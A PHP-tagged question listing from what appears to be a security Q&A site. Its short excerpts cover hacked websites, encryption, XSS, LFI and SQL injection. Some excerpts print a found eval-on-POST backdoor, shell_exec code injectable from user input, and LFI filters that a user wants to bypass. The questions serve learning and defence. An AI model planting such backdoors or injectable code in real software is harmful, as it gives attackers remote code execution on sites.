Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
-1
votes
0answers
63 views

Was I hacked? help me [closed]

someone sent me a link, and when I opened it, it redirected me to an image link, but the link contains a code, so please help me, does this code only show the hacker my ip address or is it also ...
0
votes
1answer
23 views

Getting Smaller Output From Public Key Cryptography In PHP

I have a website in a shared hosting environment, and I'm also planning to back up in multiple locations. All of that introduces vulnerability where the data could get intercepted, stolen, or misused ...
0
votes
1answer
66 views

What's The Best PHP Encryption For Email Addresses?

I'm storing a list of email addresses and other not personally identifiable information for a mailing list in a database. Since it's for a project related to cryptocurrency, I believe that the ...
0
votes
1answer
108 views

How to secure Laravel website against the ongoing massive exploitation

My website built upon Laravel is currently under attack. Only the index.php file was changed, and by that I mean that every line of code is inserted above the original Laravel code. So this code ...
-1
votes
0answers
67 views

My Website Hacked! Needs Possible Reasons and Solutions [duplicate]

My website is built in Laravel 8. After some time multiple fake pages were created by someone. How he got access I don't know. pages like (example.com/free-dating-site). These are all pages indexed by ...
1
vote
1answer
56 views

Need guidance on detecting how a hacked file got upload on my website [duplicate]

On my website I found a file containing this code <?php if(isset($_POST[z]))eval($_POST[z]);?> It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
0
votes
0answers
33 views

How common is Apache webserver Filesmatch configuration ".+\.ph(p([3457s]|\-s)?|t|tml)"

The OWASP website has a page about Insecure File Uploads which talks about an insecure Apache filesmatch directive: <FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)"> SetHandler application/...
0
votes
1answer
103 views

Is the authentication system of this website secure enough?

Since I write an API for a website, I'm interested in his login system and his requests but something bothered me, I have the impression that the security system is weak... When I login, I send POST ...
2
votes
1answer
133 views

XSS inside of a javascript string, with unusual filter

While making a website I made an interesting mistake, and I'm wondering if this could be used to achieve XSS. I've come very close, but not quite. I can put my user input into a string inside of a <...
0
votes
2answers
118 views

Should including an external webpage in PHP be dangerous in principle?

<?php include("https://example.com"); ?> I came across the opinion that including webpages in such pattern can be dangerous; further more, in XAMPP for windows php.ini there is ...
0
votes
1answer
75 views

Sending Post Requests Server to Server

I am creating a web application that is sending sensitive data between servers. I need to take user inputted web form data from website 1 (abc.com) and post the data to website 2 (xyz.com/api). ...
2
votes
0answers
64 views

What does this potentially malicious php code do? [duplicate]

Somebody hacked my webserver and uploaded many of the following files with random names in different subdirectories of my webroot. The file looks something like this and - even though I managed to ...
0
votes
0answers
35 views

Does adding a csv file to a wordpress plugin introduce security risks to the site?

I am currently working on an implementation reading data from a csv file from within a WordPress plugin. It was suggested the file be added within the plugin in an assets directory. I have concerns in ...
-1
votes
1answer
55 views

Source of strange sessions

I stumbled upon some strange entries in our PHP sessions, they look like this: PHPREDIS_SESSION:${9923XXXXX+99XXXXXX} (<- I have changed some digits to 'X') PHPREDIS_SESSION:http://hitbXXXXXXXXXXX....
1
vote
1answer
71 views

Am I handling JWT token correctly?

The app is divided into two parts, the fronted - written with the Angular framework and the backend, simple PHP files which handle the login, API calls, etc. My current flow is the following: User ...
0
votes
0answers
50 views

MongoDB NoSQLi in Cockpit CMS - use of $func?

Please explain how this recent Cockpit CMS exploit works, specifically using the $func operator of the MongoLite library, in more detail. How does it exactly make the PHP code behave? As I understand ...
1
vote
1answer
83 views

Is MariaDB Server obsolete for PHP and Wordpress projects?

PHP (and by extension WordPress) only supports MySQL native & sha256 password authentication. MariaDB Server only supports MySQL native & ed25519 password authentication. Since MySQL native ...
0
votes
0answers
44 views

Unserialize URI with PHP and nginx to gain RCE

I stumbled upon this abomination in the code base of a project I'm working on and wondered if it constitutes a security issue. $requestUri = explode('?', $_SERVER['REQUEST_URI']); $requestUri = ...
0
votes
1answer
114 views

Attempting remote code execution, why does this php webshell code fail with single quotes?

In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit: https://www.exploit-db.com/exploits/24044 I tried to use this code to make a ...
1
vote
1answer
96 views

About vulnerability in the dependency

I have read many articles about the vulnerability in the program dependency, either direct or transitive. Here are two questions come out of my mind. If a dependency A has a vulnerability (Maybe has ...
1
vote
1answer
41 views

Allow access to folder only from specific IP Address (or domain) and Port using .htaccess

I am trying to secure access to a PHP page in a folder and only allow access to it from a specific IP Address and domain name but only on a specific port. I have seen a number of questions here but ...
16
votes
5answers
5k views

How can an attacker identify if a website is using PHP? How about the PHP version?

I have a vulnerable test site up that runs PHP. How can an attacker identify that PHP is used? if I type .../add.php the site gives back an error message, although the file is add.php. If I type .../...
1
vote
0answers
88 views

SQL Injection Prevention WAF Generic Rule for Wordpress

We are trying to develop a GENERIC WAF Rule for SQLI Prevention for WordPress-based websites that can provide some level of effectiveness with a very low probability of having false positives. From my ...
0
votes
0answers
62 views

Can I inject shell in the below php code?

How I can inject a shell command in the below code? <?php if (isset($_POST['search'])) { $res = trim(shell_exec("findstr /l /m /s \"" . $_POST['search'] . "\" ...
1
vote
2answers
186 views

Encrypt login and password in cookie to keep user logged in

What is the best alternative to encrypting data to use it in a cookie so that i can decrypt it later to validate the user data? Currently saved: Login - Password and IP in an array and then encrypt it ...
1
vote
2answers
85 views

Is it insecure for the user to know the process id of a background script on my web server?

I was experiencing an issue on one of my webpages, where an AJAX call is made to another script on the server to generate some files for download. Depending on things like server load, number of files ...
0
votes
1answer
49 views

Block many wrong requests via PHP

I have an API that requires a security token to run. Is it possible to use Fail2Ban or ModEvasive to block access from IPs that often try to access the API with an incorrect token? I use PHP to ...
0
votes
1answer
118 views

PHP code in image file

My drupal website was getting hacked recently. While cleaning up the malicious scripts, I found that the hacker uploaded an image file (sites/default/files/test.jpg) contains below code. ...
0
votes
0answers
38 views

Should I change the default folder for uploads?

PHP 7 uses the default system folder (/tmp) to store uploaded files. PHP allows you to change the settings and change the upload destination directory. Some sites indicate to change this folder to ...
0
votes
0answers
42 views

Injection inside double quoted section of script element

For a test to find vulnerabilities I found the following code in a page and I am looking for ways to manipulate it: <script> func({ "key1": "value", "...
-2
votes
2answers
145 views

What to do when you simply cannot trust anyone or anything anymore?

I've found this PHP library for detecting/guessing the language of a given string: https://github.com/patrickschur/language-detection I would have massive use of this. I would really like to use it. ...
0
votes
2answers
138 views

How does Local File Inclusion (LFI) work?

In the past few days, I have created my own webserver to serve as my sandbox for learning pen-testing. I saw this blog (https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-...
3
votes
1answer
179 views

Is it possible to embed a phar archive into a PNG image?

I know it's possible to embed phar archives into jpeg images but is it also possible to do so with PNG images? I am testing a php application that securely checks if an image is a valid PNG image ...
1
vote
1answer
64 views

What is the most up-to-date secure method for storing .ENV variables?

I am improving the security on my php website. I am not using any frameworks or cms. The credentials are currently stored in plain text in the relevant php files. While researching, I came across this ...
0
votes
1answer
114 views

Changing $_SERVER['REMOTE_ADDR'] remotely

On a nginx web-server running the following config is to possible to change $_SERVER['REMOTE_ADDR'] remotely?: user www; pid /run/nginx.pid; error_log /dev/stderr info; events { ...
1
vote
1answer
150 views

Bypass input validation

I'm trying to create a vulnerable sandbox environment for pentesting challenges. As part of the challenge, I want to include some elements of XSS or SQLi if possible. However, I do not wish to make ...
0
votes
2answers
262 views

Is it possible to exploit preg_match similar to preg_replace PHP? [closed]

I'm currently working on a website and want to prevent characters being inputted, i am using following code if (!preg_match("/^[a-zA-Z0-9_!,()& -\/]*$/" is it possible to exploit this ...
0
votes
0answers
37 views

Multi stage/request SQLmap with challenge

I have a scenario where I'm testing for injection points but the authentication form has a challenge token that refreshes with each GET. The credentials are sent in a POST accompanied by that ...
0
votes
0answers
71 views

Uploading php webshell using Burp Intruder

I am using Burp Intruder to upload a webshell to different directories. These 400 responses tell me the requests are bad. I should be getting mostly 403 responses or maybe if I'm lucky the goal ...
0
votes
1answer
76 views

CSRF tokens in file that we can upload a file

I am dealing with a website vulnerable to CSRF. Let's say that the page (upload.php) has the following code if (isset($file_submit)) { //submit_file() } else { show_submission_form() } ...
0
votes
0answers
18 views

How to recover a hacked site with WSO Shell [duplicate]

Recently wordpress site on centos 7 server is hacked and WSO shell was uploaded. Ive checked other sites and nothing was changed, Im using centos web panel and the root password also was not changed. ...
0
votes
2answers
250 views

Bypass Local File Inclusion(LFI) prevention filters

I have these two LFI filters and i want to bypass them $bad = str_replace('../','',$_GET['bad']); while( substr_count($bad, '../', 0)) { $bad = str_replace('../', '', $bad);...
0
votes
0answers
60 views

XSS with Java to get User Cookies

I am practicing some XSS on a vulnerable apache2 web application and having some issues getting the user's cookie information. I am following the instructions in this Lab for the XSS Attack. We are ...
1
vote
1answer
66 views

KikChat LFI/RFI exploit code?

I've been reading about PWK-Example-Report-v1.pdf on pages 7-14 and found that KikChat apps were used in the example. https://www.exploit-db.com/exploits/30235 Copy of the vulnerable app is available ...
2
votes
1answer
1k views

How to replace certain backup files on a website every 30 minutes? [closed]

I have a website built with WordPress, unfortunately somebody hacked it several times, deleted my adsense code and put his own adsense. I tried many security techniques, changed database name, did ...
0
votes
1answer
101 views

Can PHP files be dangerous without executing them? [duplicate]

Recently I had a job interview online as a developer and I had to download a .PHP file from an FTP. I used a VPN to connect to it and after downloading the file I just opened it in VS Code to see the ...
0
votes
3answers
114 views

How many bytes for password reset token? Should one take steps to hash or conceal raw CSPRNG bytes?

I'm trying to follow the OWASP 'Forgot Password Cheat Sheet' recommendations for password reset functionality via email. This requires my server to generate a token. OWASP says that PHP's random_bytes(...
1
vote
1answer
1k views

Suspicious HTTP Requests in my logs [duplicate]

I'm running a PHP application with a user management system called userspice. It basically allows you to include the userspice PHP file and then control access to a certain PHP page. As I have seen ...
0
votes
0answers
89 views

Backendly preventing database injections on simple web forms [duplicate]

I have a simple PHP-HTML-CSS contact form which saves emails to a local email client's database (in my case, Roundcube's database, which is a standalone MySQL database, I think --- I haven't used the ...
0
votes
0answers
16 views

What does this obfuscated PHP script do? [duplicate]

I found an obfuscated PHP-script in a log directory on a shared hosting, which had been given chmod 0777 by mistake. The script in it's original form looks like this: $zowyb = 'i#7uH0_ls5y4m*bcrovaptf-...

1
2 3 4 5
32